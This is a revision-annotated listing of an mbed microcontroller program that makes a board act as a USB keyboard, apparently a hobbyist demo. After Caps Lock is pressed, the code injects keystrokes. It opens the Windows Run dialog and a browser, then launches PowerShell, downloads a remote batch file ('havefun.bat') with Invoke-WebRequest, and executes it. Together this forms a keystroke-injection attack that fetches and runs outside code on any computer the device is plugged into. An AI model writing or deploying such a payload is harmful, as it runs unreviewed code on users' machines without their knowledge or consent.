USB keyboard

Dependencies:   USBDevice mbed

Fork of USBKeyboard_HelloWorld by Samuel Mokrani

Committer:
yihui
Date:
Wed Dec 04 08:42:29 2013 +0000
Revision:
10:fbbd33bb0676
Parent:
8:336b28c80e29
revert

Who changed what in which revision?

UserRevisionLine numberNew contents of line
samux 1:291a88a2c151 1 #include "mbed.h"
samux 1:291a88a2c151 2 #include "USBKeyboard.h"
samux 5:03a4211d593a 3
samux 1:291a88a2c151 4 //LED1: NUM_LOCK
samux 1:291a88a2c151 5 //LED2: CAPS_LOCK
samux 1:291a88a2c151 6 //LED3: SCROLL_LOCK
samux 1:291a88a2c151 7 BusOut leds(LED1, LED2, LED3);
samux 5:03a4211d593a 8
samux 3:8b56768ceca2 9 //USBKeyboard
samux 3:8b56768ceca2 10 USBKeyboard keyboard;
samux 5:03a4211d593a 11
yihui 8:336b28c80e29 12 int main(void) {
yihui 8:336b28c80e29 13 uint8_t caps; // status of CapsLock
yihui 8:336b28c80e29 14 uint8_t status;
yihui 8:336b28c80e29 15
yihui 8:336b28c80e29 16 while (!keyboard.configured()) { // wait until keyboard is configured
yihui 7:cf2d79e45a4b 17 }
yihui 8:336b28c80e29 18
samux 1:291a88a2c151 19 while (1) {
yihui 8:336b28c80e29 20 status = keyboard.lockStatus();
yihui 8:336b28c80e29 21 caps = status & 0x2;
yihui 8:336b28c80e29 22 leds = status;
yihui 8:336b28c80e29 23
yihui 10:fbbd33bb0676 24 // wait until CapsLock is pressed
yihui 8:336b28c80e29 25 while ((keyboard.lockStatus() & 0x2) == caps) {
yihui 8:336b28c80e29 26 leds = keyboard.lockStatus();
yihui 8:336b28c80e29 27 }
yihui 8:336b28c80e29 28
yihui 8:336b28c80e29 29 if (!caps) {
yihui 8:336b28c80e29 30 keyboard.keyCode(KEY_CAPS_LOCK); // lowercase input
yihui 8:336b28c80e29 31 }
yihui 8:336b28c80e29 32
yihui 8:336b28c80e29 33 // Automatic input
yihui 8:336b28c80e29 34 keyboard.keyCode('r', 0x08); // win + r
yihui 8:336b28c80e29 35 wait(0.2);
yihui 8:336b28c80e29 36 keyboard.puts("iexplore http://seeedstudio.com\n\n");
yihui 8:336b28c80e29 37 wait(0.2);
yihui 8:336b28c80e29 38 keyboard.keyCode('r', 0x8);
yihui 8:336b28c80e29 39 wait(0.2);
yihui 8:336b28c80e29 40 keyboard.puts("powershell\n\n"); // open powershell
yihui 8:336b28c80e29 41 wait(0.2);
yihui 8:336b28c80e29 42 keyboard.puts("Invoke-WebRequest https://github.com/xiongyihui/Arch/raw/master/util/havefun.bat -OutFile havefun.bat\n\n");
yihui 8:336b28c80e29 43 wait(2.0); // wait 2 seconds to download havefun.bat
yihui 8:336b28c80e29 44 keyboard.puts(".\\havefun.bat\n\n"); // execute havefun.bat
yihui 8:336b28c80e29 45 keyboard.puts("exit\n\n"); // exit powershell
samux 1:291a88a2c151 46 }
samux 4:f0df6aae7147 47 }